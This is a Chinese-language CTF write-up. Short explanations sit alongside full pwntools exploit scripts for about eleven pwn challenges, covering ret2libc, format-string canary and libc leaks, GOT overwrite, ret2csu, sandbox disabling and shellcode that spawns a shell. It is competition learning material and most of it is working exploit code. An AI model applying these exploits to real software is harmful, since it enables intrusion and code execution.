test_your_nc

考查的是python脚本的编写,计算2025道计算题就给flag。exp如下:

from pwn import *
import re

context.log_level = "info"
context.timeout = 5

io = remote("challenge.imxbt.cn", 30734)

digits = "0123456789abcdefghijklmnopqrstuvwxyz"

def int_to_base(n, base):
if n == 0:
return "0"
sign = ""
if n < 0:
sign = "-"
n = -n
res = ""
while n:
res = digits[n % base] + res
n //= base
return sign + res

def solve(expr, base):
if '+' in expr:
a, b = expr.split('+')
return int(a, base) + int(b, base)
if '-' in expr:
a, b = expr.split('-')
return int(a, base) - int(b, base)
if '*' in expr:
a, b = expr.split('*')
return int(a, base) * int(b, base)
if '%' in expr:
a, b = expr.split('%')
return int(a, base) % int(b, base)

count = 0

while count < 2025:
line = io.recvline().decode(errors="ignore").strip()

# 不是题目行,直接跳过
if not line.startswith('['):
continue
if '(base' not in line or '= ?' not in line:
continue

log.info(line)

base = int(re.search(r'base (\d+)', line).group(1))
expr = re.search(r'\)\s+(.*)\s+= \?', line).group(1)
expr = expr.replace(" ", "")

ans = solve(expr, base)
ans_str = int_to_base(ans, base)

io.recvuntil(b": ")
io.sendline(ans_str.encode())

count += 1

io.interactive()

ret2libc

简单的ret2libc,给了gets函数,直接打就行了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./attachment'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=31794
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

pop_rdi_ret=0x00000000004011e7
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=0x4010B0
vuln_addr=0x401196

p0=cyclic(0x40+8)+p64(ret)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
sla("Please input your message: ",p0)
ru("received!")
rl()
addr1=rl().strip()
puts_addr=u64(addr1.ljust(8,b'\x00'))
#puts_addr=uul64()
leak("puts_addr",puts_addr)
libc_base=puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

p1=p0=cyclic(0x40+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(start_addr)
sla("Please input your message: ",p1)

#连接
#--------------------------------------------------------------------------------
ioi()

ezfmt

一道格式化字符串漏洞的题目,开启了canary保护

一开始以为打不了格式化字符串漏洞,但经过gdb调试发现可以覆盖掉前面的%s,从而泄漏canary与libc。接着就是基本的ret2libc了。

exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=31237
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

p0=cyclic(0x40)+b"%19$p+%21$p"
sl(p0)
ru("0x")
canary=i64(16)
ru("+0x")
libc_base=i64(12)-0x29d90
leak("canary",canary)
leak("libc_base",libc_base)

pop_rdi_ret=libc_base+0x000000000002a3e5
ret=libc_base+0x0000000000029139
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

p1=cyclic(0x70-8)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(0)
sl(p1)

ioi()

type_err

直接输入符合的数字即可。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=30284
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

sl(b'2147483648')
sl(b'2147483648')

ioi()

str_err

简单的strcpy绕过题目

但是由于password会覆盖掉username,从而会导致user_copy会覆盖掉correct_password,因此得计算好输入何时输入password即可。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=32213
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
shell=0x40125B
sa("Please input your username: ",b"haooahoo")
p0=b"Secret\0"+b"a"*41+b"Secret\0"+b"a"*49+p64(0x40101a)+p64(shell)
s(p0)

ioi()

ret2bzdr

直接fmt泄漏canary,再跳到危险函数,由于没有限制sh字符串,因此可以通过system(“sh”)获取shell。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./ret2bzdr'
#libc_file='./libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=30253
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

sl(b"%23$p")
ru("0x")
magic=0x04013AD
canary=i64(16)
leak("canary",canary)

p0=cyclic(0x90-0x8)+p64(canary)+p64(0)+p64(0x40101a)+p64(magic)
sl(p0)
sla("OH,NO!!!HACKER!!!DON'T COME!!!",b"sh")

ioi()

csu?

就是打csu的板子,没什么难度。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=30928
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))


ret=0x000000000040101a
pop_rdi_ret=0x000000000040127b
pop_rsi_r15_ret=0x0000000000401279
write_plt=elf.plt['write']
write_got=elf.got['write']
fakerbp=0xdeadbeef
csu_end_addr=0x040126E
csu_front_addr=0x0401258
main=0x4011AB

p0=cyclic(0x28)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)
sla("input something:",p0)
write_addr=u64(io.recv(8))
leak("write_addr",write_addr)

libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

p1=cyclic(0x28)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)+p64(0)
sl(p1)

ioi()

sandbox_err

开启了沙盒保护,一开始以为又只能打orw了

发现了有ctx这个变量控制是否开启沙盒保护,如果我们将其改为0,就可以关闭沙盒保护从而就可以通过获取shell的方法获得flag

进一步发现了shell函数与fmt,那么就可以利用fmt修改ctx为0,再到shell函数获取shell从而获得flag,当然开启了pie保护,先获取基址再打。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux')#, log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=31010
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

sl(b"3")
ru("I believe in miracles.")
sl(b"%11$p")
ru("0x")
addr_base=i64(12)-0x1485
leak("addr_base",addr_base)

#gdb.attach(io)
ctx=addr_base+0x04050
leak("ctx",ctx)

sl(b"3")
p1=b"%7$naaaa"+p64(ctx)
sl(p1)

sl(b"3")
p2=b"%7$hnaaa"+p64(ctx+4)
sl(p2)

sl(b"4")

ioi()

func_err

给了栈地址,算一下离我们输入的距离是多少,然后手搓一个32字节以下的shellcode就行了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux')#, log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=31954
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)

ru("0x")
v1=i64(12)
leak("v1",v1)
stack=v1-0x1c

shellcode='''
xor rsi,rsi
mul rsi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
mov rdi,rsp
mov al,59
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))

p=shellcode
p=p.ljust(0x28,b'a')+p64(stack)
s(p)

ioi()

Slime_Smith

因为有直接给flag的函数,直接打就行了,挺简单的(当时想复杂了)。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=32495
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

ret=0x000000000040101a
output_flag=0x0401336
sla("> ",b"1")
sl(b"0")
sl(b"0")
p=p64(output_flag)
#print(p)
sla(":",p)

ioi()

fmt

一道不错的fmt题目,在这里好好复现一下。64位,开启了NX与Partial RELRO保护,因此可以改got表的内容。

存在格式化字符串漏洞,又只是Partial RELRO,那么就可以将printf的got的值修改为system再输入/bin/sh获得shell。但是这里的问题就是只有一次输入又没有system函数,且我们输入的数据是在堆里面而不是栈上,所以就有点不一样了。

首先肯定的是,只有一次输入是不够的,得泄漏libc再打,至少两次,所以这里是修改free的got为vuln的地址,从而能够多次利用fmt。由于不能直接将free的got直接写入到栈上,就间接写上去

我们利用09:0048│+038 0x7ffcd90a7bd8 —▸ 0x7ffcd90a7cc8 —▸ 0x7ffcd90a83b9 ◂— 0x4853006e77702f2e /* './pwn' */,将free的got地址写入到栈上。代码如下:
p1=b"%c"*13+b"%4210699c"+b"%ln"

因为只有一次输入,所以我们需要在一个payload中既写入got,又将free的got的值改为vuln的地址,从而当调用free时相当于调用vuln,实现反复读写。但需要注意的是,由于非栈上的格式化字符串不稳定,最多就改两字节最好,这里值与vuln的地址就两字节不同,就只需输入一次即可,而下面的printf的got就需要输入两次。

p1=b"%c"*13+b"%4210699c"+b"%ln"+b"%53662c"+b"%45$hn"
s(p1)

可以看出修改成功了,这样我们就能不断的利用fmt了。接着就是泄漏libc了,这很简单就直接上代码了

sl(b"%15$p")
ru("0x")
libc_base=i64(12)-0x29d90
leak("libc_base",libc_base)
system=libc_base+libc.sym['system']

接下来其实和一开始修改free的got为vuln也差不多。就分两次写printf的got就行了

首先就利用11:0088│+078 0x7ffd30b514c8 —▸ 0x7ffd30b515b8 —▸ 0x404018 (free@got[plt]) —▸ 0x4011b6 (vuln) ◂— endbr64,将其修改为printf@got[plt]+2(因为非栈上的格式化字符串最好每次最多改两字节)。代码如下:
p1=b"%34c%23$hhn"
p1=p1.ljust(0x3ff,b'\x00')
s(p1)

接着再将printf的got输上去,代码如下

p2=b"%4210720c%44$ln"
p2=p2.ljust(0x3ff,b'\x00')
s(p2)

接下来就是将其改为system,再输入/bin/sh字符串,从而使得执行printf(“/bin/sh”)时,就相当于执行system(“/bin/sh”)。

p3='%c'*0x3B+f'%{((system >> 16)&0xFF)-0x3B}c%hhn'+f'%{(system & 0xFFFF)-((system >> 16)&0xFF)}c%{0x3f}$hn'
p3=p3.encode().ljust(0x3ff,b'\x00')
s(p3)

最后就是再次输入/bin/sh\x00从而获得shell。完整exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='./libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=1
if flag:
io=process(pwn_file)
else:
ip='challenge.imxbt.cn'
port=32715
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

free_got=elf.got['free']
leak("free_got",free_got)
#gdb.attach(io)
p0 = b"%c%c%c%c%c%c%c%c%c%c%c%c%c%4210699c%ln%53662c%45$hn"
s(p0)
sl(b"%15$p")
ru("0x")
libc_base=i64(12)-0x29d90
leak("libc_base",libc_base)
system=libc_base+libc.sym['system']
leak("system_libc",libc.sym['system'])
leak("system",system)


p1=b"%34c%23$hhn"
p1=p1.ljust(0x3ff,b'\x00')
s(p1)
#gdb.attach(io)
p2=b"%4210720c%44$ln"
p2=p2.ljust(0x3ff,b'\x00')
s(p2)
p3='%c'*0x3B+f'%{((system >> 16)&0xFF)-0x3B}c%hhn'+f'%{(system & 0xFFFF)-((system >> 16)&0xFF)}c%{0x3f}$hn'
p3=p3.encode().ljust(0x3ff,b'\x00')
s(p3)

s(b'/bin/sh\x00'.ljust(0x3FF, b'\x00'))

ioi()